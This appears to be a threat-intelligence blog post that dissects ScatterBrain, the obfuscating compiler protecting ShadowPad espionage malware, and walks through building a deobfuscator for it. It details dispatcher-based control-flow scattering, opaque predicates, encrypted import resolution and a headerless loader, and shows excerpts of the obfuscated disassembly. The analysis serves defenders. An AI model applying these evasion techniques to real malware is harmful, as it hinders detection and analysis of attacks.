POISONPLUG.SHADOW—often referred to as "Shadowpad," a malware family name first introduced by Kaspersky—stands out due to its use of a custom obfuscating compiler specifically designed to evade detection and analysis. Its complexity is compounded by not only the extensive obfuscation mechanisms employed but also by the attackers' highly sophisticated threat tactics. These elements collectively make analysis exceptionally challenging and complicate efforts to identify, understand, and mitigate the associated threats it poses.

In addressing these challenges, GTIG collaborates closely with the FLARE team to dissect and analyze POISONPLUG.SHADOW. This partnership utilizes state-of-the-art reverse engineering techniques and comprehensive threat intelligence capabilities required to mitigate the sophisticated threats posed by this threat actor. We remain dedicated to advancing methodologies and fostering innovation to adapt to and counteract the ever-evolving tactics of threat actors, ensuring the security of Google and our customers against sophisticated cyber espionage operations.

Overview

In this blog post, we present our in-depth analysis of the ScatterBrain obfuscator, which has led to the development of a complete stand-alone static deobfuscator library independent of any binary analysis frameworks. Our analysis is based solely on the obfuscated samples we have successfully recovered, as we do not possess the obfuscating compiler itself. Despite this limitation, we have been able to comprehensively infer every aspect of the obfuscator and the necessary requirements to break it. Our analysis further reveals that ScatterBrain is continuously evolving, with incremental changes identified over time, highlighting its ongoing development.

This publication begins by exploring the fundamental primitives of ScatterBrain, outlining all its components and the challenges they present for analysis. We then detail the steps required to subvert and remove each protection mechanism, culminating in our deobfuscator. Our library takes protected binaries generated by ScatterBrain as input and produces fully functional deobfuscated binaries as output.

By detailing the inner workings of ScatterBrain and sharing our deobfuscator, we hope to provide valuable insights into developing effective countermeasures. Our blog post is intentionally exhaustive, drawing from our experience in dealing with obfuscation for clients, where we observed a significant lack of clarity in understanding modern obfuscation techniques. Similarly, analysts often struggle with understanding even relatively simplistic obfuscation methods primarily because standard binary analysis tooling is not designed to account for them. Therefore, our goal is to alleviate this burden and help enhance the collective understanding against commonly seen protection mechanisms.

For general questions about obfuscating compilers, we refer to our previous work on the topic, which provides an introduction and overview.

ScatterBrain Obfuscator Introduction

ScatterBrain is a sophisticated obfuscating compiler that integrates multiple operational modes and protection components to significantly complicate the analysis of the binaries it generates. Designed to render modern binary analysis frameworks and defender tools ineffective, ScatterBrain disrupts both static and dynamic analyses.

• Protection Modes: ScatterBrain operates in three distinct modes, each determining the overall structure and intensity of the applied protections. These modes allow the compiler to adapt its obfuscation strategies based on the specific requirements of the attack.
• Protection Components: The compiler employs key protection components that include the following:
  • Selective or Full Control Flow Graph (CFG) Obfuscation: This technique restructures the program's control flow, making it very difficult to analyze and create detection rules for.
  • Instruction Mutations: ScatterBrain alters instructions to obscure their true functionality without changing the program's behavior.
  • Complete Import Protection: ScatterBrain employs a complete protection of a binary's import table, making it extremely difficult to understand how the binary interacts with the underlying operating system.

These protection mechanisms collectively make it extremely challenging for analysts to deconstruct and understand the functionality of the obfuscated binaries. As a result, ScatterBrain poses a formidable obstacle for cybersecurity professionals attempting to dissect and mitigate the threats it generates.

Modes of Operation

A mode refers to how ScatterBrain will transform a given binary into its obfuscated representation. It is distinct from the actual core obfuscation mechanisms themselves and is more about the overall strategy of applying protections. Our analysis further revealed a consistent pattern in applying various protection modes at specific stages of an attack chain:

• Selective: A group of individually selected functions are protected, leaving the remainder of the binary in its original state. Any import references within the selected functions are also obfuscated. This mode was observed to be used strictly for dropper samples of an attack chain.
• Complete: The entirety of the code section and all imports are protected. This mode was applied solely to the plugins embedded within the main backdoor payload.
• Complete "headerless": This is an extension of the Complete mode with added data protections and the removal of the PE header. This mode was exclusively reserved for the final backdoor payload.

Selective

The selective mode of protection allows users of the obfuscator to selectively target individual functions within the binary for protection. Protecting an individual function involves keeping the function at its original starting address (produced by the original compiler and linker) and substituting the first instruction with a jump to the obfuscated code. The generated obfuscations are stored linearly from this starting point up to a designated "end marker" that signifies the ending boundary of the applied protection. This entire range constitutes a protected function.

The disassembly of a call site to a protected function can take the following from:

.text:180001000 sub rsp, 28h .text:180001004 mov rcx, cs:g_Imagebase .text:18000100B call PROTECTED_FUNCTION ; call to protected func .text:180001010 mov ecx, eax .text:180001012 call cs:ExitProcess

Figure 1: Disassembly of a call to a protected function

The start of the protected function:

.text:180001039 PROTECTED_FUNCTION .text:180001039 jmp loc_18000DF97 ; jmp into obfuscated code .text:180001039 sub_180001039 endp .text:000000018000103E db 48h ; H. ; garbage data .text:000000018000103F db 0FFh .text:0000000180001040 db 0C1h

Figure 2: Disassembly inside of a protected function

The "end marker" consists of two sets of padding instructions, an int3 instruction and a single multi-nop instruction:

END_MARKER: .text:18001A95C CC CC CC CC CC CC CC CC CC CC 66 66 0F 1F 84 00 00 00 00 00 .text:18001A95C int 3 .text:18001A95D int 3 .text:18001A95E int 3 .text:18001A95F int 3 .text:18001A960 int 3 .text:18001A961 int 3 .text:18001A962 int 3 .text:18001A963 int 3 .text:18001A964 int 3 .text:18001A965 int 3 .text:18001A966 db 66h, 66h ; @NOTE: IDA doesn't disassemble properly .text:18001A966 nop word ptr [rax+rax+00000000h] ; ------------------------------------------------------------------------- ; next, original function .text:18001A970 ; [0000001F BYTES: COLLAPSED FUNCTION __security_check_cookie. PRESS CTRL-NUMPAD+ TO EXPAND]

Figure 3: Disassembly listing of an end marker

Complete

The complete mode protects every function within the .text section of the binary, with all protections integrated directly into a single code section. There are no end markers to signify protected regions; instead, every function is uniformly protected, ensuring comprehensive coverage without additional sectioning.

This mode forces the need for some kind of deobfuscation tooling. Whereas selective mode only protects the selected functions and leaves everything else in its original state, this mode makes the output binary extremely difficult to analyze without accounting for the obfuscation.

Complete Headerless

This complete mode extends the complete approach to add further data obfuscations alongside the code protections. It is the most comprehensive mode of protection and was observed to be exclusively limited to the final payloads of an attack chain. It incorporates the following properties:

• Full PE header of the protected binary is removed.

• Custom loading logic (a loader) is introduced.

• Becomes the entry point of the protected binary

• Responsible of ensuring the protected binary is functional

• Includes the option of mapping the final payload within a separate memory region distinct from the initial memory region it was loaded in

• Metadata is protected via hash-like integrity checks.

• The metadata is utilized by the loader as part of its initialization sequence.

• Import protection will require relocation adjustments.

• Done through an "import fixup table"

The loader’s entry routine crudely merges with the original entry of the binary by inserting multiple jmp instructions to bridge the two together. The following is what the entry point looks like after running our deobfuscator against a binary protected in headerless mode.

Figure 4: Deobfuscated loader entry

The loader's metadata is stored in the .data section of the protected binary. It is found via a memory scan that applies bitwise XOR operations against predefined constants. The use of these not only locates the metadata but also serves a dual purpose of verifying its integrity. By checking that the data matches expected patterns when XORed with these constants, the loader ensures that the metadata has not been altered or tampered with.

Figure 5: Memory scan to identify the loader's metadata inside the .data section

The metadata contains the following (in order):

• Import fixup table (fully explained in the Import Protection section)

• Integrity-hash constants

• Relative virtual address (RVA) of the .data section

• Offset to the import fixup table from the start of the .data section

• Size, in bytes, of the fixup table

• Global pointer to the memory address that the backdoor is at

• Encrypted and compressed data specific to the backdoor

• Backdoor config and plugins

Figure 6: Loader's metadata

Core Protection Components Instruction Dispatcher

The instruction dispatcher is the central protection component that transforms the natural control flow of a binary (or individual function) into scattered basic blocks that end with a unique dispatcher routine that dynamically guides the execution of the protected binary.

Figure 7: Illustration of the control flow instruction dispatchers induce

Each call to a dispatcher is immediately followed by a 32-bit encoded displacement positioned at what would normally be the return address for the call. The dispatcher decodes this displacement to calculate the destination target for the next group of instructions to execute. A protected binary can easily contain thousands or even tens of thousands of these dispatchers making manual analysis of them practically infeasible. Additionally, the dynamic dispatching and decoding logic employed by each dispatcher effectively disrupts CFG reconstruction methods used by all binary analysis frameworks.

The decoding logic is unique for each dispatcher and is carried out using a combination of add, sub, xor, and, or, and lea instructions. The decoded offset value is then either subtracted from or added to the expected return address of the dispatcher call to determine the final destination address. This calculated address directs execution to the next block of instructions, which will similarly end with a dispatcher that uniquely decodes and jumps to subsequent instruction blocks, continuing this process iteratively to control the program flow.

The following screenshot illustrates what a dispatcher instance looks like when constructed in IDA Pro. Notice the scattered addresses present even within instruction dispatchers, which result from the obfuscator transforming fallthrough instructions—instructions that naturally follow the preceding instruction—into pairs of conditional branches that use opposite conditions. This ensures that one branch is always taken, effectively creating an unconditional jump. Additionally, a mov instruction that functions as a no-op is inserted to split these branches, further obscuring the control flow.

Figure 8: Example of an instruction dispatcher and all of its components

The core logic for any dispatcher can be categorized into the following four phases:

1. Preservation of Execution Context
   • Each dispatcher selects a single working register (e.g., RSI as depicted in the screenshot) during the obfuscation process. This register is used in conjunction with the stack to carry out the intended decoding operations and dispatch. 
   • The RFLAGS register in turn is safeguarded by employing pushfq and popfq instructions before carrying out the decoding sequence.
2. Retrieval of Encoded Displacement
   • Each dispatcher retrieves a 32-bit encoded displacement located at the return address of its corresponding call instruction. This encoded displacement serves as the basis for determining the next destination address.
3. Decoding Sequence
   • Each dispatcher employs a unique decoding sequence composed of the following arithmetic and logical instructions: xor, sub, add, mul, imul, div, idiv, and, or, and not. This variability ensures that no two dispatchers operate identically, significantly increasing the complexity of the control flow.
4. Termination and Dispatch
   • The ret instruction is strategically used to simultaneously signal the end of the dispatcher function and redirect the program's control flow to the previously calculated destination address.

It is reasonable to infer that the obfuscator utilizes a template similar to the one illustrated in Figure 9 when applying its transformations to the original binary:

Figure 9: Instruction dispatcher template

Opaque Predicates

ScatterBrain uses a series of seemingly trivial opaque predicates (OP) that appear straightforward to analysts but significantly challenge contemporary binary analysis frameworks, especially when used collectively. These opaque predicates effectively disrupt static CFG recovery techniques not specifically designed to counter their logic. Additionally, they complicate symbolic execution approaches as well by inducing path explosions and hindering path prioritization. In the following sections, we will showcase a few examples produced by ScatterBrain.

test OP

This opaque predicate is constructed around the behavior of the test instruction when paired with an immediate zero value. Given that the test instruction effectively performs a bitwise AND operation, the obfuscator exploits the fact that any value bitwise AND-ed with zero always invariably results in zero.

Here are some abstracted examples we can find in a protected binary—abstracted in the sense that all instructions are not guaranteed to follow one another directly; other forms of mutations can be between them as can instruction dispatchers.

test bl, 0 jnp loc_56C96 ; we never satisfy these conditions ------------------------------ test r8, 0 jo near ptr loc_3CBC8 ------------------------------ test r13, 0 jnp near ptr loc_1A834 ------------------------------ test eax, 0 jnz near ptr loc_46806

Figure 10: Test opaque predicate examples

To grasp the implementation logic of this opaque predicate, the semantics of the test instruction and its effects on the processor's flags register are required. The instruction can affect six different flags in the following manner:

• Overflow Flag (OF): Always cleared

• Carry Flag (CF): Always cleared

• Sign Flag (SF): Set if the most significant bit (MSB) of the result is set; otherwise cleared

• Zero Flag (ZF): Set if the result is 0; otherwise cleared

• Parity Flag (PF): Set if the number of set bits in the least significant byte (LSB) of the result is even; otherwise cleared

• Auxiliary Carry Flag (AF): Undefined

Applying this understanding to the sequences produced by ScatterBrain, it is evident that the generated conditions can never be logically satisfied:

Sequence

Condition Description

test <reg>, 0; jo

OF is always cleared

test <reg>, 0; jnae/jc/jb

CF is always cleared

test <reg>, 0; js

Resulting value will always be zero; therefore, SF can never be set

test <reg>, 0; jnp/jpo

The number of bits in zero is always zero, which is an even number; therefore, PF can never be set

test <reg>, 0; jne/jnz

Resulting value will always be zero; therefore, ZF will always be set

Table 1: Test opaque predicate understanding

jcc OP

The opaque predicate is designed to statically obscure the original immediate branch targets for conditional branch (jcc) instructions. Consider the following examples:

test eax, eax ja loc_3BF9C ja loc_2D154 test r13, r13 jns loc_3EA84 jns loc_53AD9 test eax, eax jnz loc_99C5 jnz loc_121EC cmp eax, FFFFFFFF jz loc_273EE jz loc_4C227

Figure 11: jcc opaque predicate examples

The implementation is straightforward: each original jcc instruction is duplicated with a bogus branch target. Since both jcc instructions are functionally identical except for their respective branch destinations, we can determine with certainty that the first jcc in each pair is the original instruction. This original jcc dictates the correct branch target to follow when the respective condition is met, while the duplicated jcc serves to confuse analysis tools by introducing misleading branch paths.

Stack-Based OP

The stack-based opaque predicate is designed to check whether the current stack pointer (rsp) is below a predetermined immediate threshold—a condition that can never be true. It is consistently implemented by pairing the cmp rsp instruction with a jb (jump if below) condition immediately afterward.

cmp rsp, 0x8d6e jb near ptr unk_180009FDA

Figure 12: Stack-based opaque predicate example

This technique inserts conditions that are always false, causing CFG algorithms to follow both branches and thereby disrupt their ability to accurately reconstruct the control flow.

Import Protection

The obfuscator implements a sophisticated import protection layer. This mechanism conceals the binary 's dependencies by transforming each original call or jmp instruction directed at an import through a unique stub dispatcher routine that knows how to dynamically resolve and invoke the import in question.

Figure 13: Illustration of all the components involved in the import protection

It consists of the following components:

• Import-specific encrypted data: Each protected import is represented by a unique dispatcher stub and a scattered data structure that stores RVAs to both the encrypted dynamic-link library (DLL) and application programming interface (API) names. We refer to this structure as obf_imp_t. Each dispatcher stub is hardcoded with a reference to its respective obf_imp_t.

• Dispatcher stub: This is an obfuscated stub that dynamically resolves and invokes the intended import. While every stub shares an identical template, each contains a unique hardcoded RVA that identifies and locates its corresponding obf_imp_t.

• Resolver routine: Called from the dispatcher stub, this obfuscated routine resolves the import and returns it to the dispatcher, which facilitates the final call to the intended import. It begins by locating the encrypted DLL and API names based on the information in obf_imp_t. After decrypting these names, the routine uses them to resolve the memory address of the API.

• Import decryption routine: Called from the resolver routine, this obfuscated routine is responsible for decrypting the DLL and API name blobs through a custom stream cipher implementation. It uses a hardcoded 32-bit salt that is unique per protected sample.

• Fixup Table: Present only in headerless mode, this is a relocation fixup table that the loader in headerless mode uses to correct all memory displacements to the following import protection components:

• Encrypted DLL names

• Encrypted API names

• Import dispatcher references

Dispatcher Stub

The core of the import protection mechanism is the dispatcher stub. Each stub is tailored to an individual import and consistently employs a lea instruction to access its respective obf_imp_t, which it passes as the only input to the resolver routine.

push rcx ; save RCX lea rcx, [rip+obf_imp_t] ; fetch import-specific obf_imp_t push rdx ; save all other registers the stub uses push r8 push r9 sub rsp, 28h call ObfImportResolver ; resolve the import and return it in RAX add rsp, 28h pop r9 ; restore all saved registers pop r8 pop rdx pop rcx jmp rax ; invoke resolved import

Figure 14: Deobfuscated import dispatcher stub

Each stub is obfuscated through the mutation mechanisms outlined earlier. This applies to the resolver and import decryption routines as well. The following is what the execution flow of a stub can look like. Note the scattered addresses that while presented sequentially are actually jumping all around the code segment due to the instruction dispatchers.

0x01123a call InstructionDispatcher_TargetTo_11552 0x011552 push rcx 0x011553 call InstructionDispatcher_TargetTo_5618 0x005618 lea rcx, [rip+0x33b5b] ; fetch obf_imp_t 0x00561f call InstructionDispatcher_TargetTo_f00c 0x00f00c call InstructionDispatcher_TargetTo_191b5 0x0191b5 call InstructionDispatcher_TargetTo_1705a 0x01705a push rdx 0x01705b call InstructionDispatcher_TargetTo_05b4 0x0105b4 push r8 0x0105b6 call InstructionDispatcher_TargetTo_f027 0x00f027 push r9 0x00f029 call InstructionDispatcher_TargetTo_18294 0x018294 test eax, 0 0x01829a jo 0xf33c 0x00f77b call InstructionDispatcher_TargetTo_e817 0x00e817 sub rsp, 0x28 0x00e81b call InstructionDispatcher_TargetTo_a556 0x00a556 call 0x6afa (ObfImportResolver) 0x00a55b call InstructionDispatcher_TargetTo_19592 0x019592 test ah, 0 0x019595 call InstructionDispatcher_TargetTo_a739 0x00a739 js 0x1935 0x00a73b call InstructionDispatcher_TargetTo_6eaa 0x006eaa add rsp, 0x28 0x006eae call InstructionDispatcher_TargetTo_6257 0x006257 pop r9 0x006259 call InstructionDispatcher_TargetTo_66d6 0x0066d6 pop r8 0x0066d8 call InstructionDispatcher_TargetTo_1a3cb 0x01a3cb pop rdx 0x01a3cc call InstructionDispatcher_TargetTo_67ab 0x0067ab pop rcx 0x0067ac call InstructionDispatcher_TargetTo_6911 0x006911 jmp rax

Figure 15: Obfuscated import dispatcher stub

Resolver Logic

obf_imp_t is the central data structure that contains the relevant information to resolve each import. It has the following form:

struct obf_imp_t { // sizeof=0x18 uint32_t CryptDllNameRVA; // NOTE: will be 64-bits, due to padding uint32_t CryptAPINameRVA; // NOTE: will be 64-bits, due to padding uint64_t ResolvedImportAPI; // Where the resolved address is stored };

Figure 16: obf_imp_t in its original C struct source form

It is processed by the resolver routine, which uses the embedded RVAs to locate the encrypted DLL and API names, decrypting each in turn. After decrypting each name blob, it uses LoadLibraryA to ensure the DLL dependency is loaded in memory and leverages GetProcAddress to retrieve the address of the import.

Fully decompiled ObfImportResolver:

Figure 17: Fully decompiled import resolver routine

Import Encryption Logic

The import decryption logic is implemented using a Linear Congruential Generator (LCG) algorithm to generate a pseudo-random key stream, which is then used in a XOR-based stream cipher for decryption. It operates on the following formula:

Xn + 1 = (a • Xn + c) mod 232

where:

• a is always hardcoded to 17 and functions as the multiplier

• c is a unique 32-bit constant determined by the encryption context and is unique per-protected sample

• We refer to it as the imp_decrypt_const

• mod 232 confines the sequence values to a 32-bit range

The decryption logic initializes with a value from the encrypted data and iteratively generates new values using the outlined LCG formula. Each iteration produces a byte derived from the calculated value, which is then XOR'ed with the corresponding encrypted byte. This process continues byte-by-byte until it reaches a termination condition.

A fully recovered Python implementation for the decryption logic is provided in Figure 18.

Figure 18: Complete Python implementation of the import string decryption routine

Import Fixup Table

The import relocation fixup table is a fixed-size array composed of two 32-bit RVA entries. The first RVA represents the memory displacement of where the data is referenced from. The second RVA points to the actual data in question. The entries in the fixup table can be categorized into three distinct types, each corresponding to a specific import component:

• Encrypted DLL names

• Encrypted API names

• Import dispatcher references

Figure 19: Illustration of the import fixup table

The location of the fixup table is determined by the loader's metadata, which specifies an offset from the start of the .data section to the start of the table. During initialization, the loader is responsible for applying the relocation fixups for each entry in the table.

Figure 20: Loader metadata that shows the Import fixup table entries and metadata used to find it

Recovery

Effective recovery from an obfuscated binary necessitates a thorough understanding of the protection mechanisms employed. While deobfuscation often benefits from working with an intermediate representation (IR) rather than the raw disassembly—an IR provides more granular control in undoing transformations—this obfuscator preserves the original compiled code, merely enveloping it with additional protection layers. Given this context, our deobfuscation strategy focuses on stripping away the obfuscator's transformations from the disassembly to reveal the original instructions and data. This is achieved through a series of hierarchical phases, where each subsequent phase builds upon the previous one to ensure comprehensive deobfuscation.

We categorize this approach into three distinct categories that we eventually integrate:

1. CFG Recovery

• Restoring the natural control flow by removing obfuscation artifacts at the instruction and  basic block levels. This involves two phases:

• Accounting for instruction dispatchers: Addressing the core of control flow protection that obscure the execution flow

• Function identification and recovery: Cataloging scattered instructions and reassembling them into their original function counterparts

2. Import Recovery

• Original Import Table: The goal is to reconstruct the original import table, ensuring that all necessary library and function references are accurately restored.

3. Binary Rewriting

• Generating Deobfuscated Executables: This process entails creating a new, deobfuscated executable that maintains the original functionality while removing ScatterBrain's modifications.

Given the complexity of each category, we concentrate on the core aspects necessary to break the obfuscator by providing a guided walkthrough of our deobfuscator's source code and highlighting the essential logic required to reverse these transformations. This step-by-step examination demonstrates how each obfuscation technique is methodically undone, ultimately restoring the binary's original structure.

Our directory structure reflects this organized approach:

+---helpers | | emu64.py | | pefile_utils.py | |--- x86disasm.py | \---recover | recover_cfg.py | recover_core.py | recover_dispatchers.py | recover_functions.py | recover_imports.py |--- recover_output64.py

Figure 21: Directory structure of our deobfuscator library

This comprehensive recovery process not only restores the binaries to their original state but also equips analysts with the tools and knowledge necessary to combat similar obfuscation techniques in the future.

CFG Recovery

The primary obstacle disrupting the natural control flow graph is the use of instruction dispatchers. Eliminating these dispatchers is our first priority in obtaining the CFG. Afterward, we need to reorganize the scattered instructions back into their original function representations—a problem known as function identification, which is notoriously difficult to generalize. Therefore, we approach it using our specific knowledge about the obfuscator.

Linearizing the Scattered CFG

Our initial step in recovering the original CFG is to eliminate the scattering effect induced by instruction dispatchers. We will transform all dispatcher call instructions into direct branches to their resolved targets. This transformation linearizes the execution flow, making it straightforward to statically pursue the second phase of our CFG recovery. This will be implemented via brute-force scanning, static parsing, emulation, and instruction patching.

Function Identification and Recovery

We leverage a recursive descent algorithm that employs a depth-first search (DFS) strategy applied to known entry points of code, attempting to exhaust all code paths by "single-stepping" one instruction at a time. We add additional logic to the processing of each instruction in the form of "mutation rules" that stipulate how each individual instruction needs to be processed. These rules aid in stripping away the obfuscator's code from the original.

Removing Instruction Dispatchers

Eliminating instruction dispatchers involves identifying each dispatcher location and its corresponding dispatch target. Recall that the target is a uniquely encoded 32-bit displacement located at the return address of the dispatcher call. To remove instruction dispatchers, it is essential to first understand how to accurately identify them. We begin by categorizing the defining properties of individual instruction dispatchers:

• Target of a Near Call
  • Dispatchers are always the destination of a near call instruction, represented by the E8 opcode followed by a 32-bit displacement.
• References Encoded 32-Bit Displacement at Return Address
  • Dispatchers reference the encoded 32-bit displacement located at the return address on the stack by performing a 32-bit read from the stack pointer. This displacement is essential for determining the next execution target.
• Pairing of pushfq and popfq Instructions to Safeguard Decoding
  • Dispatchers use a pair of pushfq and popfq instructions to preserve the state of the RFLAGS register during the decoding process. This ensures that the dispatcher does not alter the original execution context, maintaining the integrity of register contents.
• End with a ret Instruction
  • Each dispatcher concludes with a ret instruction, which not only ends the dispatcher function but also redirects control to the next set of instructions, effectively continuing the execution flow.

Leveraging the aforementioned categorizations, we implement the following approach to identify and remove instruction dispatchers:

1. Brute-Force Scanner for Near Call Locations

• Develop a scanner that searches for all near call instructions within the code section of the protected binary. This scanner generates a huge array of potential call locations that may serve as dispatchers.

2. Implementation of a Fingerprint Routine

• The brute-force scan yields a large number of false positives, requiring an efficient method to filter them. While emulation can filter out false positives, it is computationally expensive to do it for the brute-force results.

• Introduce a shallow fingerprinting routine that traverses the disassembly of each candidate to identify key dispatcher characteristics, such as the presence of pushfq and popfq sequences. This significantly improves performance by eliminating most false positives before concretely verifying them through emulation.

3. Emulation of Targets to Recover Destinations

• Emulate execution starting from each verified call site to accurately recover the actual dispatch targets. Emulating from the call site ensures that the emulator processes the encoded offset data at the return address, abstracting away the specific decoding logic employed by each dispatcher.

• A successful emulation also serves as the final verification step to confirm that we have identified a dispatcher.

4. Identification of Dispatch Targets via ret Instructions

• Utilize the terminating ret instruction to accurately identify the dispatch target within the binary.

• The ret instruction is a definitive marker indicating the end of a dispatcher function and the point at which control is redirected, making it a reliable indicator for target identification.

Brute-Force Scanner

The following Python code implements the brute-force scanner, which performs a comprehensive byte signature scan within the code segment of a protected binary. The scanner systematically identifies all potential call instruction locations by scanning for the 0xE8 opcode associated with near call instructions. The identified addresses are then stored for subsequent analysis and verification.

Figure 22: Python implementation of the brute-force scanner

Fingerprinting Dispatchers

The fingerprinting routine leverages the unique characteristics of instruction dispatchers, as detailed in the Instruction Dispatchers section, to statically identify potential dispatcher locations within a protected binary. This identification process utilizes the results from the prior brute-force scan. For each address in this array, the routine disassembles the code and examines the resulting disassembly listing to determine if it matches known dispatcher signatures.

This method is not intended to guarantee 100% accuracy, but rather serve as a cost-effective approach to identifying call locations with a high likelihood of being instruction dispatchers. Subsequent emulation will be employed to confirm these identifications.

1. Successful Decoding of a call Instruction

• The identified location must successfully decode to a call instruction. Dispatchers are always invoked via a call instruction. Additionally, dispatchers utilize the return address from the call site to locate their encoded 32-bit displacement.

2. Absence of Subsequent call Instructions

• Dispatchers must not contain any call instructions within their disassembly listing. The presence of any call instructions within a presumed dispatcher range immediately disqualifies the call location as a dispatcher candidate.

3. Absence of Privileged Instructions and Indirect Control Transfers

• Similarly to call instructions, the dispatcher cannot include privileged instructions or indirect unconditional jmps. Any presence of any such instructions invalidates the call location.

4. Detection of pushfq and popfq Guard Sequences

• The dispatcher must contain pushfq and popfq instructions to safeguard the RFLAGS register during decoding. These sequences are unique to dispatchers and suffice for a generic identification without worrying about the differences that arise between how the decoding takes place.

Figure 23 is the fingerprint verification routine that incorporates all the aforementioned characteristics and validation checks given a potential call location:

Figure 23: The dispatch fingerprint routine

Emulating Dispatchers to Resolve Destination Targets

After filtering potential dispatchers using the fingerprinting routine, the next step is to emulate them in order to recover their destination targets.

Figure 24: Emulation sequence used to recover dispatcher destination targets

The Python code in Figure 24 performs this logic and operates as follows:

• Initialization of the Emulator
  • Creates the core engine for simulating execution (EmulateIntel64), maps the protected binary image (imgbuffer) into the emulator's memory space, maps the Thread Environment Block (TEB) as well to simulate a realistic Windows execution environment, and creates an initial snapshot to facilitate fast resets before each emulation run without needing to reinitialize the entire emulator each time.
  • MAX_DISPATCHER_RANGE specifies the maximum number of instructions to emulate for each dispatcher. The value 45 is chosen arbitrarily, sufficient given the limited instruction count in dispatchers even with the added mutations.
  • A try/except block is used to handle any exceptions during emulation. It is assumed that exceptions result from false positives among the potential dispatchers identified earlier and can be safely ignored.
• Emulating Each Potential Dispatcher
  • For each potential dispatcher address (call_dispatch_ea), the emulator's context is restored to the initial snapshot. The program counter (emu.pc) is set to the address of each dispatcher. emu.stepi() executes one instruction at the current program counter, after which the instruction is analyzed to determine whether we have finished.
    • If the instruction is a ret, the emulation has reached the dispatch point.
    • The dispatch target address is read from the stack using emu.parse_u64(emu.rsp).
  • The results are captured by d.dispatchers_to_target, which maps the dispatcher address to the dispatch target. The dispatcher address is additionally stored in the d.dispatcher_locs lookup cache.
    • The break statement exits the inner loop, proceeding to the next dispatcher.

Patching and Linearization

After collecting and verifying every captured instruction dispatcher, the final step is to replace each call location with a direct branch to its respective destination target. Since both near call and jmp instructions occupy 5 bytes in size, this replacement can be seamlessly performed by merely patching the jmp instruction over the call.

Figure 25: Patching sequence to transform instruction dispatcher calls to unconditional jmps to their destination targets

We utilize the dispatchers_to_target map, established in the previous section, which associates each dispatcher call location with its corresponding destination target. By iterating through this map, we identify each dispatcher call location and replace the original call instruction with a jmp. This substitution redirects the execution flow directly to the intended target addresses.

This removal is pivotal to our deobfuscation strategy as it removes the intended dynamic dispatch element that instruction dispatchers were designed to provide. Although the code is still scattered throughout the code segment, the execution flow is now statically deterministic, making it immediately apparent which instruction leads to the next one.

When we compare these results to the initial screenshot from the Instruction Dispatcher section, the blocks still appear scattered. However, their execution flow has been linearized. This progress allows us to move forward to the second phase of our CFG recovery.

Figure 26: Linearized instruction dispatcher control flow

Function Identification and Recovery

By eliminating the effects of instruction dispatchers, we have linearized the execution flow. The next step involves assimilating the dispersed code and leveraging the linearized control flow to reconstruct the original functions that comprised the unprotected binary. This recovery phase involves several stages, including raw instruction recovery, normalization, and the construction of the final CFG.

Function identification and recovery is encapsulated in the following two abstractions:

• Recovered instruction (RecoveredInstr): The fundamental unit for representing individual instructions recovered from an obfuscated binary. Each instance encapsulates not only the raw instruction data but also metadata essential for relocation, normalization, and analysis within the CFG recovery process.

• Recovered function (RecoveredFunc): The end result of successfully recovering an individual function from an obfuscated binary. It aggregates multiple RecoveredInstr instances, representing the sequence of instructions that constitute the unprotected function. The complete CFG recovery process results in an array of RecoveredFunc instances, each corresponding to a distinct function within the binary. We will utilize these results in the final Building Relocations in Deobfuscated Binaries section to produce fully deobfuscated binaries.

We do not utilize a basic block abstraction for our recovery approach given the following reasons. Properly abstracting basic blocks presupposes complete CFG recovery, which introduces unnecessary complexity and overhead for our purposes. Instead, it is simpler and more efficient to conceptualize a function as an aggregation of individual instructions rather than a collection of basic blocks in this particular deobfuscation context.

Figure 27: RecoveredInstr type definition

Figure 28: RecoveredFunc type definition

DFS Rule-Guided Stepping Introduction

We opted for a recursive-depth algorithm given the following reasons:

• Natural fit for code traversal: DFS allows us to infer function boundaries based solely on the flow of execution. It mirrors the way functions call other functions, making it intuitive to implement and reason about when reconstructing function boundaries. It also simplifies following the flow of loops and conditional branches.
• Guaranteed execution paths: We concentrate on code that is definitely executed. Given we have at least one known entry point into the obfuscated code, we know execution must pass through it in order to reach other parts of the code. While other parts of the code may be more indirectly invoked, this entry point serves as a foundational starting point.
  • By recursively exploring from this known entry, we will almost certainly encounter and identify virtually all code paths and functions during our traversal.
• Adapts to instruction mutations: We tailor the logic of the traversal with callbacks or "rules" that stipulate how we process each individual instruction. This helps us account for known instruction mutations and aids in stripping away the obfuscator's code.

The core data structures involved in this process are the following: CFGResult, CFGStepState, and RuleHandler:

• CFGResult: Container for the results of the CFG recovery process. It aggregates all pertinent information required to represent the CFG of a function within the binary, which it primarily consumes from CFGStepState.
• CFGStepState: Maintains the state throughout the CFG recovery process, particularly during the controlled-step traversal. It encapsulates all necessary information to manage the traversal state, track progress, and store intermediate results.
  • Recovered cache: Stores instructions that have been recovered for a protected function without any additional cleanup or verification. This initial collection is essential for preserving the raw state of the instructions as they exist within the obfuscated binary before any normalization or validation processes are applied after. It is always the first pass of recovery.
  • Normalized cache: The final pass in the CFG recovery process. It transforms the raw instructions stored in the recovered cache into a fully normalized CFG by removing all obfuscator-introduced instructions and ensuring the creation of valid, coherent functions.
  • Exploration stack: Manages the set of instruction addresses that are pending exploration during the DFS traversal for a protected function. It determines the order in which instructions are processed and utilizes a visited set to ensure that each instruction is processed only once.
  • Obfuscator backbone: A mapping to preserve essential control flow links introduced by the obfuscator
• RuleHandler: Mutation rules are merely callbacks that adhere to a specific function signature and are invoked during each instruction step of the CFG recovery process. They take as input the current protected binary, CFGStepState, and the current step-in instruction. Each rule contains specific logic designed to detect particular types of instruction characteristics introduced by the obfuscator. Based on the detection of these characteristics, the rules determine how the traversal should proceed. For instance, a rule might decide to continue traversal, skip certain instructions, or halt the process based on the nature of the mutation.

Figure 29: CFGResult type definition

Figure 30: CFGStepState type definition

Figure 31: RuleHandler type definition

The following figure is an example of a rule that is used to detect the patched instruction dispatchers we introduced in the previous section and differentiating them from standard jmp instructions:

Figure 32: RuleHandler example that identifies patched instruction dispatchers and differentiates them from standard jmp instructions

DFS Rule-Guided Stepping Implementation

The remaining component is a routine that orchestrates the CFG recovery process for a given function address within the protected binary. It leverages the CFGStepState to manage the DFS traversal and applies mutation rules to decode and recover instructions systematically. The result will be an aggregate of RecoveredInstr instances that constitute the first pass of raw recovery:

Figure 33: Flow chart of our DFS rule-guided stepping algorithm

